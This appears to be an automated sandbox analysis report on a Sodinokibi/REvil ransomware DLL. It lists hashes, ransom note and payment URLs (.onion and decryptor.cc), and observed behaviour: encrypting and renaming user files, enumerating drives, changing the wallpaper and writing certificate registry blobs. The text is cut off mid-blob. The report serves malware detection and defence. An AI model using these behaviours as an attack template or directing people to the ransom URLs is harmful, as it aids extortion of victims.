Analysis
-
max time kernel
150s -
max time network
150s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
09-11-2020 19:27
Static task
static1
Behavioral task
behavioral1
Sample
file.dll
Resource
win7v20201028
Behavioral task
behavioral2
Sample
file.dll
Resource
win10v20201028
General
-
Target
file.dll
-
Size
164KB
-
MD5
72945c9b41b3590dc518b14bad0a79ee
-
SHA1
244e30fcd8982b78eaac65db21b177b632c1fb11
-
SHA256
44bcefd86b7d36300eb2d77ba88f248cab5ecb9cfb0ec3e859e35ed519fa7795
-
SHA512
2eca816b31f21afe4daadaed3ed2e891f9632ff5652ae6e6e2ebde7dee0f6b1ec3562af8ef98dd9fb769c8f372a8f527e6a22cb2686ac43bc49fd6f21081f06c
Malware Config
Extracted
C:\syjz3-readme.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/02E833CAEF7EC0C2
http://decryptor.cc/02E833CAEF7EC0C2
Signatures
-
Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
-
Blacklisted process makes network request 87 IoCs
Processes:
rundll32.exeflow pid process 18 3484 rundll32.exe 21 3484 rundll32.exe 23 3484 rundll32.exe 25 3484 rundll32.exe 27 3484 rundll32.exe 29 3484 rundll32.exe 31 3484 rundll32.exe 33 3484 rundll32.exe 35 3484 rundll32.exe 37 3484 rundll32.exe 39 3484 rundll32.exe 41 3484 rundll32.exe 43 3484 rundll32.exe 45 3484 rundll32.exe 47 3484 rundll32.exe 49 3484 rundll32.exe 52 3484 rundll32.exe 54 3484 rundll32.exe 56 3484 rundll32.exe 58 3484 rundll32.exe 60 3484 rundll32.exe 62 3484 rundll32.exe 64 3484 rundll32.exe 66 3484 rundll32.exe 68 3484 rundll32.exe 70 3484 rundll32.exe 72 3484 rundll32.exe 74 3484 rundll32.exe 76 3484 rundll32.exe 78 3484 rundll32.exe 80 3484 rundll32.exe 83 3484 rundll32.exe 85 3484 rundll32.exe 87 3484 rundll32.exe 89 3484 rundll32.exe 91 3484 rundll32.exe 93 3484 rundll32.exe 95 3484 rundll32.exe 97 3484 rundll32.exe 99 3484 rundll32.exe 101 3484 rundll32.exe 103 3484 rundll32.exe 105 3484 rundll32.exe 107 3484 rundll32.exe 109 3484 rundll32.exe 111 3484 rundll32.exe 113 3484 rundll32.exe 115 3484 rundll32.exe 117 3484 rundll32.exe 119 3484 rundll32.exe 121 3484 rundll32.exe 123 3484 rundll32.exe 125 3484 rundll32.exe 127 3484 rundll32.exe 129 3484 rundll32.exe 131 3484 rundll32.exe 133 3484 rundll32.exe 135 3484 rundll32.exe 137 3484 rundll32.exe 139 3484 rundll32.exe 141 3484 rundll32.exe 143 3484 rundll32.exe 145 3484 rundll32.exe 147 3484 rundll32.exe -
Modifies extensions of user files 9 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
rundll32.exedescription ioc process File renamed C:\Users\Admin\Pictures\ConvertDebug.png => \??\c:\users\admin\pictures\ConvertDebug.png.syjz3 rundll32.exe File renamed C:\Users\Admin\Pictures\LockNew.crw => \??\c:\users\admin\pictures\LockNew.crw.syjz3 rundll32.exe File renamed C:\Users\Admin\Pictures\PopTest.tiff => \??\c:\users\admin\pictures\PopTest.tiff.syjz3 rundll32.exe File opened for modification \??\c:\users\admin\pictures\AssertAdd.tiff rundll32.exe File opened for modification \??\c:\users\admin\pictures\PopTest.tiff rundll32.exe File renamed C:\Users\Admin\Pictures\AssertAdd.tiff => \??\c:\users\admin\pictures\AssertAdd.tiff.syjz3 rundll32.exe File renamed C:\Users\Admin\Pictures\CompareShow.crw => \??\c:\users\admin\pictures\CompareShow.crw.syjz3 rundll32.exe File renamed C:\Users\Admin\Pictures\DisconnectImport.png => \??\c:\users\admin\pictures\DisconnectImport.png.syjz3 rundll32.exe File renamed C:\Users\Admin\Pictures\ExitExport.raw => \??\c:\users\admin\pictures\ExitExport.raw.syjz3 rundll32.exe -
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
rundll32.exedescription ioc process File opened (read-only) \??\V: rundll32.exe File opened (read-only) \??\A: rundll32.exe File opened (read-only) \??\J: rundll32.exe File opened (read-only) \??\K: rundll32.exe File opened (read-only) \??\O: rundll32.exe File opened (read-only) \??\P: rundll32.exe File opened (read-only) \??\Q: rundll32.exe File opened (read-only) \??\U: rundll32.exe File opened (read-only) \??\X: rundll32.exe File opened (read-only) \??\Z: rundll32.exe File opened (read-only) \??\D: rundll32.exe File opened (read-only) \??\I: rundll32.exe File opened (read-only) \??\M: rundll32.exe File opened (read-only) \??\N: rundll32.exe File opened (read-only) \??\T: rundll32.exe File opened (read-only) \??\E: rundll32.exe File opened (read-only) \??\G: rundll32.exe File opened (read-only) \??\H: rundll32.exe File opened (read-only) \??\R: rundll32.exe File opened (read-only) \??\S: rundll32.exe File opened (read-only) \??\B: rundll32.exe File opened (read-only) \??\F: rundll32.exe File opened (read-only) \??\L: rundll32.exe File opened (read-only) \??\W: rundll32.exe File opened (read-only) \??\Y: rundll32.exe -
Modifies service 2 TTPs 5 IoCs
Processes:
vssvc.exedescription ioc process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SwProvider_{b5946137-7b9f-4925-af80-51abd60b20d5} vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer vssvc.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
Processes:
rundll32.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\pn775d5x01.bmp" rundll32.exe -
Drops file in Program Files directory 34 IoCs
Processes:
rundll32.exedescription ioc process File opened for modification \??\c:\program files\DisableApprove.3gp2 rundll32.exe File opened for modification \??\c:\program files\SelectFind.ppt rundll32.exe File created \??\c:\program files\syjz3-readme.txt rundll32.exe File opened for modification \??\c:\program files\PublishConfirm.wax rundll32.exe File opened for modification \??\c:\program files\SaveRemove.xlsx rundll32.exe File opened for modification \??\c:\program files\SkipConnect.3gp2 rundll32.exe File opened for modification \??\c:\program files\ConnectUnregister.mov rundll32.exe File opened for modification \??\c:\program files\MountOpen.ppt rundll32.exe File opened for modification \??\c:\program files\RestoreCheckpoint.midi rundll32.exe File opened for modification \??\c:\program files\ExportFormat.xlt rundll32.exe File opened for modification \??\c:\program files\BackupTrace.wps rundll32.exe File opened for modification \??\c:\program files\DebugShow.ex_ rundll32.exe File opened for modification \??\c:\program files\DisableMerge.aiff rundll32.exe File opened for modification \??\c:\program files\GetUnpublish.pptx rundll32.exe File opened for modification \??\c:\program files\GroupCompress.ogg rundll32.exe File opened for modification \??\c:\program files\PushUnprotect.tiff rundll32.exe File opened for modification \??\c:\program files\ResizeResume.jfif rundll32.exe File created \??\c:\program files (x86)\syjz3-readme.txt rundll32.exe File opened for modification \??\c:\program files\OpenSelect.mht rundll32.exe File opened for modification \??\c:\program files\OutSearch.aifc rundll32.exe File opened for modification \??\c:\program files\ExpandDeny.mov rundll32.exe File opened for modification \??\c:\program files\MergeWait.dotx rundll32.exe File opened for modification \??\c:\program files\OptimizeBlock.ppsm rundll32.exe File opened for modification \??\c:\program files\UninstallExpand.xlsx rundll32.exe File opened for modification \??\c:\program files\ApproveUnprotect.pptm rundll32.exe File opened for modification \??\c:\program files\DenySelect.mpeg3 rundll32.exe File opened for modification \??\c:\program files\GetMerge.ppsx rundll32.exe File opened for modification \??\c:\program files\ResumeInstall.mht rundll32.exe File opened for modification \??\c:\program files\CheckpointUpdate.rm rundll32.exe File opened for modification \??\c:\program files\GrantConnect.rtf rundll32.exe File opened for modification \??\c:\program files\MeasureClear.ADT rundll32.exe File opened for modification \??\c:\program files\OpenSkip.ram rundll32.exe File opened for modification \??\c:\program files\SwitchComplete.inf rundll32.exe File opened for modification \??\c:\program files\CopyGet.mp4 rundll32.exe -
Processes:
rundll32.exedescription ioc process Set value (data) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\SystemCertificates\CA\Certificates\33E4E80807204C2B6182A3A14B591ACD25B5F0DB\Blob = 03000000010000001400000033e4e80807204c2b6182a3a14b591acd25b5f0db1400000001000000140000008d8c5ec454ad8ae177e99bf99b05e1b8018d61e1040000000100000010000000adab5c4df031fb9299f71ada7e18f6130f00000001000000300000008b612b2190a95b28b866b9be5d0b95f368c17534ab1da61a42dfb32766f9ae2908fe6bfd1669be140eddaf0d33e95235190000000100000010000000fc741b3b78cfb31e075744fe5d0eeb965c000000010000000400000000080000180000000100000010000000ea6089055218053dd01e37e1d806eedf20000000010000001706000030820613308203fba00302010202107d5b5126b476ba11db74160bbc530da7300d06092a864886f70d01010c0500308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f72697479301e170d3138313130323030303030305a170d3330313233313233353935395a30818f310b3009060355040613024742311b30190603550408131247726561746572204d616e636865737465723110300e0603550407130753616c666f726431183016060355040a130f5365637469676f204c696d69746564313730350603550403132e5365637469676f2052534120446f6d61696e2056616c69646174696f6e205365637572652053657276657220434130820122300d06092a864886f70d01010105000382010f003082010a0282010100d67333d6d73c20d000d21745b8d63e07a23fc741ee3230c9b06cfdf49fcb12980f2d3f8d4d010c820f177f622ee9b84879fb16834eadd7322593b707bfb9503fa94cc3402ae939ffd981ca1f163241da8026b9237a87201ee3ff209a3c95446f8775069040b4329316091008233ed2dd870f6f5d51146a0a69c54f017269cfd3934c6d04a0a31b827eb19ab9edc59ec537789f9a0834fb562e58c4090e06645bbc37dcf19f2868a856b092a35c9fbb8898081b241dab3085aeafb02e9e7a9dc1c0421ce202f0eae04ad2ef900eb4c14016f06f85424a64f7a430a0febf2ea3275a8e8b58b8adc319178463ed6f56fd83cb6034c474bee69ddbe1e4e5ca0c5f150203010001a382016e3082016a301f0603551d230418301680145379bf5aaa2b4acf5480e1d89bc09df2b20366cb301d0603551d0e041604148d8c5ec454ad8ae177e99bf99b05e1b8018d61e1300e0603551d0f0101ff04040302018630120603551d130101ff040830060101ff020100301d0603551d250416301406082b0601050507030106082b06010505070302301b0603551d200414301230060604551d20003008060667810c01020130500603551d1f044930473045a043a041863f687474703a2f2f63726c2e7573657274727573742e636f6d2f55534552547275737452534143657274696669636174696f6e417574686f726974792e63726c307606082b06010505070101046a3068303f06082b060105050730028633687474703a2f2f6372742e7573657274727573742e636f6d2f555345525472757374525341416464547275737443412e637274302506082b060105050730018619687474703a2f2f6f6373702e7573657274727573742e636f6d300d06092a864886f70d01010c0500038202010032bf61bd0e48c34fc7ba474df89c781901dc131d806ffcc370b4529a31339a5752fb319e6ba4ef54aa898d401768f811107cd2cab1f15586c7eeb3369186f63951bf46bf0fa0bab4f77e49c42a36179ee468397aaf944e566fb27b3bbf0a86bdcdc5771c03b838b1a21f5f7edb8adc4648b6680acfb2b5b4e234e467a93866095ed2b8fc9d283a174027c2724e29fd213c7ccf13fb962cc53144fd13edd59ba96968777ceee1ffa4f93638085339a284349c19f3be0eacd52437eb23a878d0d3e7ef924764623922efc6f711be2285c6664424268e10328dc893ae079e833e2fd9f9f5468e63bec1e6b4dca6cd21a8860a95d92e85261afdfcb1b657426d95d133f6391406824138f58f58dc805ba4d57d9578fda79bfffdc5a869ab26e7a7a405875ba9b7b8a3200b97a94585ddb38be589378e290dfc0617f638400e42e41206fb7bf3c6116862dfe398f413d8154f8bb169d91060bc642aea31b7e4b5a33a149b26e30b7bfd028eb699c138975936f6a874a286b65eebc664eacfa0a3f96e9eba2d11b6869808582dc9ac2564f25e75b438c1ae7f5a4683ea51cab6f19911356ba56a7bc600b0e7f8be64b2adc8c2f1ace351eaa493e079c8e18140c90a5be1123cc1602ae397c08942ca94cf46981269bb98d0c2d30d724b476ee593c43228638743e4b0323e0ad34bbf239b1429412b9a041f932df1c739483cad5a127f rundll32.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B51C067CEE2B0C3DF855AB2D92F4FE39D4E70F0E\Blob = 0f000000010000002000000071b437f087f3700ffd4e2fa46f42b6b810d7bf19adfedf951c023edd65b50b050b000000010000005400000053007400610072006600690065006c006400200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f007200690074007900200013202000470032000000090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000002500000030233021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c06200000001000000200000002ce1cb0bf9d2f9e102993fbe215152c3b2dd0cabde1c68e5319b839154dbb7f51400000001000000140000007c0c321fa7d9307fc47d68a362a8a1ceab075b271d000000010000001000000054e2cd85ba79cda018fed9e6a863aa46030000000100000014000000b51c067cee2b0c3df855ab2d92f4fe39d4e70f0e2000000001000000e1030000308203dd308202c5a003020102020100300d06092a864886f70d01010b050030818f310b30090603550406130255533110300e060355040813074172697a6f6e61311330110603550407130a53636f74747364616c6531253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e3132303006035504031329537461726669656c6420526f6f7420436572746966696361746520417574686f72697479202d204732301e170d3039303930313030303030305a170d3337313233313233353935395a30818f310b30090603550406130255533110300e060355040813074172697a6f6e61311330110603550407130a53636f74747364616c6531253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e3132303006035504031329537461726669656c6420526f6f7420436572746966696361746520417574686f72697479202d20473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bdedc103fcf68ffc02b16f5b9f48d99d79e2a2b703615618c347b6d7ca3d352e8943f7a1699bde8a1afd13209cb44977322956fdb9ec8cdd22fa72dc276197eef65a84ec6e19b9892cdc845bd574fb6b5fc589a51052894655f4b8751ce67fe454ae4bf85572570219f8177159eb1e280774c59d48be6cb4f4a4b0f364377992c0ec465e7fe16d534c62afcd1f0b63bb3a9dfbfc7900986174cf26824063f3b2726a190d99cad40e75cc37fb8b89c159f1627f5fb35f6530f8a7b74d765a1e765e34c0e89656998ab3f07fa4cdbddc32317c91cfe05f11f86baa495cd19994d1a2e3635b0976b55662e14b741d96d426d4080459d0980e0ee6defcc3ec1f90f10203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e041604147c0c321fa7d9307fc47d68a362a8a1ceab075b27300d06092a864886f70d01010b050003820101001159fa254f036f94993b9a1f828539d47605945ee128936d625d09c2a0a8d4b07538f1346a9de49f8a862651e62cd1c62d6e95204a9201ecb88a677b31e2672e8c9503262e439d4a31f60eb50cbbb7e2377f22ba00a30e7b52fb6bbb3bc4d379514ecd90f4670719c83c467a0d017dc558e76de68530179a24c410e004f7e0f27fd4aa0aff421d37ed94e5645912207738d3323e3881759673fa688fb1cbce1fc5ecfa9c7ecf7eb1f1072db6fcbfcaa4bfd097054abcea18280290bd5478092171d3d17d1dd916b0a9613dd00a0022fcc77bcb0964450b3b4081f77d7c32f598ca588e7d2aee90597364f936745e25a1f566052e7f3915a92afb508b8e8569f4 rundll32.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B51C067CEE2B0C3DF855AB2D92F4FE39D4E70F0E\Blob = 040000000100000010000000d63981c6527e9669fcfcca66ed05f296030000000100000014000000b51c067cee2b0c3df855ab2d92f4fe39d4e70f0e1d000000010000001000000054e2cd85ba79cda018fed9e6a863aa461400000001000000140000007c0c321fa7d9307fc47d68a362a8a1ceab075b276200000001000000200000002ce1cb0bf9d2f9e102993fbe215152c3b2dd0cabde1c68e5319b839154dbb7f553000000010000002500000030233021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080b000000010000005400000053007400610072006600690065006c006400200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f0072006900740079002000132020004700320000000f000000010000002000000071b437f087f3700ffd4e2fa46f42b6b810d7bf19adfedf951c023edd65b50b052000000001000000e1030000308203dd308202c5a003020102020100300d06092a864886f70d01010b050030818f310b30090603550406130255533110300e060355040813074172697a6f6e61311330110603550407130a53636f74747364616c6531253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e3132303006035504031329537461726669656c6420526f6f7420436572746966696361746520417574686f72697479202d204732301e170d3039303930313030303030305a170d3337313233313233353935395a30818f310b30090603550406130255533110300e060355040813074172697a6f6e61311330110603550407130a53636f74747364616c6531253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e3132303006035504031329537461726669656c6420526f6f7420436572746966696361746520417574686f72697479202d20473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bdedc103fcf68ffc02b16f5b9f48d99d79e2a2b703615618c347b6d7ca3d352e8943f7a1699bde8a1afd13209cb44977322956fdb9ec8cdd22fa72dc276197eef65a84ec6e19b9892cdc845bd574fb6b5fc589a51052894655f4b8751ce67fe454ae4bf85572570219f8177159eb1e280774c59d48be6cb4f4a4b0f364377992c0ec465e7fe16d534c62afcd1f0b63bb3a9dfbfc7900986174cf26824063f3b2726a190d99cad40e75cc37fb8b89c159f1627f5fb35f6530f8a7b74d765a1e765e34c0e89656998ab3f07fa4cdbddc32317c91cfe05f11f86baa495cd19994d1a2e3635b0976b55662e14b741d96d426d4080459d0980e0ee6defcc3ec1f90f10203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e041604147c0c321fa7d9307fc47d68a362a8a1ceab075b27300d06092a864886f70d01010b050003820101001159fa254f036f94993b9a1f828539d47605945ee128936d625d09c2a0a8d4b07538f1346a9de49f8a862651e62cd1c62d6e95204a9201ecb88a677b31e2672e8c9503262e439d4a31f60eb50cbbb7e2377f22ba00a30e7b52fb6bbb3bc4d379514ecd90f4670719c83c467a0d017dc558e76de68530179a24c410e004f7e0f27fd4aa0aff421d37ed94e5645912207738d3323e3881759673fa688fb1cbce1fc5ecfa9c7ecf7eb1f1072db6fcbfcaa4bfd097054abcea18280290bd5478092171d3d17d1dd916b0a9613dd00a0022fcc77bcb0964450b3b4081f77d7c32f598ca588e7d2aee90597364f936745e25a1f566052e7f3915a92afb508b8e8569f4 rundll32.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B51C067CEE2B0C3DF855AB2D92F4FE39D4E70F0E\Blob = 19000000010000001000000060e2dc65295f1062e558f3fef235ed3c0f000000010000002000000071b437f087f3700ffd4e2fa46f42b6b810d7bf19adfedf951c023edd65b50b050b000000010000005400000053007400610072006600690065006c006400200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f007200690074007900200013202000470032000000090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000002500000030233021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c06200000001000000200000002ce1cb0bf9d2f9e102993fbe215152c3b2dd0cabde1c68e5319b839154dbb7f51400000001000000140000007c0c321fa7d9307fc47d68a362a8a1ceab075b271d000000010000001000000054e2cd85ba79cda018fed9e6a863aa46030000000100000014000000b51c067cee2b0c3df855ab2d92f4fe39d4e70f0e040000000100000010000000d63981c6527e9669fcfcca66ed05f2962000000001000000e1030000308203dd308202c5a003020102020100300d06092a864886f70d01010b050030818f310b30090603550406130255533110300e060355040813074172697a6f6e61311330110603550407130a53636f74747364616c6531253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e3132303006035504031329537461726669656c6420526f6f7420436572746966696361746520417574686f72697479202d204732301e170d3039303930313030303030305a170d3337313233313233353935395a30818f310b30090603550406130255533110300e060355040813074172697a6f6e61311330110603550407130a53636f74747364616c6531253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e3132303006035504031329537461726669656c6420526f6f7420436572746966696361746520417574686f72697479202d20473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bdedc103fcf68ffc02b16f5b9f48d99d79e2a2b703615618c347b6d7ca3d352e8943f7a1699bde8a1afd13209cb44977322956fdb9ec8cdd22fa72dc276197eef65a84ec6e19b9892cdc845bd574fb6b5fc589a51052894655f4b8751ce67fe454ae4bf85572570219f8177159eb1e280774c59d48be6cb4f4a4b0f364377992c0ec465e7fe16d534c62afcd1f0b63bb3a9dfbfc7900986174cf26824063f3b2726a190d99cad40e75cc37fb8b89c159f1627f5fb35f6530f8a7b74d765a1e765e34c0e89656998ab3f07fa4cdbddc32317c91cfe05f11f86baa495cd19994d1a2e3635b0976b55662e14b741d96d426d4080459d0980e0ee6defcc3ec1f90f10203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e041604147c0c321fa7d9307fc47d68a362a8a1ceab075b27300d06092a864886f70d01010b050003820101001159fa254f036f94993b9a1f828539d47605945ee128936d625d09c2a0a8d4b07538f1346a9de49f8a862651e62cd1c62d6e95204a9201ecb88a677b31e2672e8c9503262e439d4a31f60eb50cbbb7e2377f22ba00a30e7b52fb6bbb3bc4d379514ecd90f4670719c83c467a0d017dc558e76de68530179a24c410e004f7e0f27fd4aa0aff421d37ed94e5645912207738d3323e3881759673fa688fb1cbce1fc5ecfa9c7ecf7eb1f1072db6fcbfcaa4bfd097054abcea18280290bd5478092171d3d17d1dd916b0a9613dd00a0022fcc77bcb0964450b3b4081f77d7c32f598ca588e7d2aee90597364f936745e25a1f566052e7f3915a92afb508b8e8569f4 rundll32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2B8F1B57330DBBA2D07A6C51F70EE90DDAB9AD8E rundll32.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2B8F1B57330DBBA2D07A6C51F70EE90DDAB9AD8E\Blob = 0400000001000000100000001bfe69d191b71933a372a80fe155e5b50f000000010000003000000066b764a96581128168cf208e374dda479d54e311f32457f4aee0dbd2a6c8d171d531289e1cd22bfdbbd4cfd979625483090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000e793c9b02fd8aa13e21c31228accb08119643b749c898964b1746d46c3d4cbd21400000001000000140000005379bf5aaa2b4acf5480e1d89bc09df2b20366cb1d0000000100000010000000885010358d29a38f059b028559c95f900b00000001000000100000005300650063007400690067006f0000000300000001000000140000002b8f1b57330dbba2d07a6c51f70ee90ddab9ad8e190000000100000010000000ea6089055218053dd01e37e1d806eedf2000000001000000e2050000308205de308203c6a003020102021001fd6d30fca3ca51a81bbc640e35032d300d06092a864886f70d01010c0500308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f72697479301e170d3130303230313030303030305a170d3338303131383233353935395a308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f7269747930820222300d06092a864886f70d01010105000382020f003082020a028202010080126517360ec3db08b3d0ac570d76edcd27d34cad508361e2aa204d092d6409dcce899fcc3da9ecf6cfc1dcf1d3b1d67b3728112b47da39c6bc3a19b45fa6bd7d9da36342b676f2a93b2b91f8e26fd0ec162090093ee2e874c918b491d46264db7fa306f188186a90223cbcfe13f087147bf6e41f8ed4e451c61167460851cb8614543fbc33fe7e6c9cff169d18bd518e35a6a766c87267db2166b1d49b7803c0503ae8ccf0dcbc9e4cfeaf0596351f575ab7ffcef93db72cb6f654ddc8e7123a4dae4c8ab75c9ab4b7203dca7f2234ae7e3b68660144e7014e46539b3360f794be5337907343f332c353efdbaafe744e69c76b8c6093dec4c70cdfe132aecc933b517895678bee3d56fe0cd0690f1b0ff325266b336df76e47fa7343e57e0ea566b1297c3284635589c40dc19354301913acd37d37a7eb5d3a6c355cdb41d712daa9490bdfd8808a0993628eb566cf2588cd84b8b13fa4390fd9029eeb124c957cf36b05a95e1683ccb867e2e8139dcc5b82d34cb3ed5bffdee573ac233b2d00bf3555740949d849581a7f9236e651920ef3267d1c4d17bcc9ec4326d0bf415f40a94444f499e757879e501f5754a83efd74632fb1506509e658422e431a4cb4f0254759fa041e93d426464a5081b2debe78b7fc6715e1c957841e0f63d6e962bad65f552eea5cc62808042539b80e2ba9f24c971c073f0d52f5edef2f820f0203010001a3423040301d0603551d0e041604145379bf5aaa2b4acf5480e1d89bc09df2b20366cb300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff300d06092a864886f70d01010c050003820201005cd47c0dcff7017d4199650c73c5529fcbf8cf99067f1bda43159f9e0255579614f1523c27879428ed1f3a0137a276fc5350c0849bc66b4eba8c214fa28e556291f36915d8bc88e3c4aa0bfdefa8e94b552a06206d55782919ee5f305c4b241155ff249a6e5e2a2bee0b4d9f7ff70138941495430709fb60a9ee1cab128ca09a5ea7986a596d8b3f08fbc8d145af18156490120f73282ec5e2244efc58ecf0f445fe22b3eb2f8ed2d9456105c1976fa876728f8b8c36afbf0d05ce718de6a66f1f6ca67162c5d8d083720cf16711890c9c134c7234dfbcd571dfaa71dde1b96c8c3c125d65dabd5712b6436bffe5de4d661151cf99aeec17b6e871918cde49fedd3571a21527941ccf61e326bb6fa36725215de6dd1d0b2e681b3b82afec836785d4985174b1b9998089ff7f78195c794a602e9240ae4c372a2cc9c762c80e5df7365bcae0252501b4dd1a079c77003fd0dcd5ec3dd4fabb3fcc85d66f7fa92ddfb902f7f5979ab535dac367b0874aa9289e238eff5c276be1b04ff307ee002ed45987cb524195eaf447d7ee6441557c8d590295dd629dc2b9ee5a287484a59bb790c70c07dff589367432d628c1b0b00be09c4cc31cd6fce369b54746812fa282abd3634470c48dff2d33baad8f7bb57088ae3e19cf4028d8fcc890bb5d9922f552e658c51f883143ee881dd7c68e3c436a1da718de7d3d16f162f9ca90a8fd rundll32.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2B8F1B57330DBBA2D07A6C51F70EE90DDAB9AD8E\Blob = 5c000000010000000400000000100000190000000100000010000000ea6089055218053dd01e37e1d806eedf0300000001000000140000002b8f1b57330dbba2d07a6c51f70ee90ddab9ad8e0b00000001000000100000005300650063007400690067006f0000001d0000000100000010000000885010358d29a38f059b028559c95f901400000001000000140000005379bf5aaa2b4acf5480e1d89bc09df2b20366cb620000000100000020000000e793c9b02fd8aa13e21c31228accb08119643b749c898964b1746d46c3d4cbd253000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f000000010000003000000066b764a96581128168cf208e374dda479d54e311f32457f4aee0dbd2a6c8d171d531289e1cd22bfdbbd4cfd9796254830400000001000000100000001bfe69d191b71933a372a80fe155e5b52000000001000000e2050000308205de308203c6a003020102021001fd6d30fca3ca51a81bbc640e35032d300d06092a864886f70d01010c0500308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f72697479301e170d3130303230313030303030305a170d3338303131383233353935395a308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f7269747930820222300d06092a864886f70d01010105000382020f003082020a028202010080126517360ec3db08b3d0ac570d76edcd27d34cad508361e2aa204d092d6409dcce899fcc3da9ecf6cfc1dcf1d3b1d67b3728112b47da39c6bc3a19b45fa6bd7d9da36342b676f2a93b2b91f8e26fd0ec162090093ee2e874c918b491d46264db7fa306f188186a90223cbcfe13f087147bf6e41f8ed4e451c61167460851cb8614543fbc33fe7e6c9cff169d18bd518e35a6a766c87267db2166b1d49b7803c0503ae8ccf0dcbc9e4cfeaf0596351f575ab7ffcef93db72cb6f654ddc8e7123a4dae4c8ab75c9ab4b7203dca7f2234ae7e3b68660144e7014e46539b3360f794be5337907343f332c353efdbaafe744e69c76b8c6093dec4c70cdfe132aecc933b517895678bee3d56fe0cd0690f1b0ff325266b336df76e47fa7343e57e0ea566b1297c3284635589c40dc19354301913acd37d37a7eb5d3a6c355cdb41d712daa9490bdfd8808a0993628eb566cf2588cd84b8b13fa4390fd9029eeb124c957cf36b05a95e1683ccb867e2e8139dcc5b82d34cb3ed5bffdee573ac233b2d00bf3555740949d849581a7f9236e651920ef3267d1c4d17bcc9ec4326d0bf415f40a94444f499e757879e501f5754a83efd74632fb1506509e658422e431a4cb4f0254759fa041e93d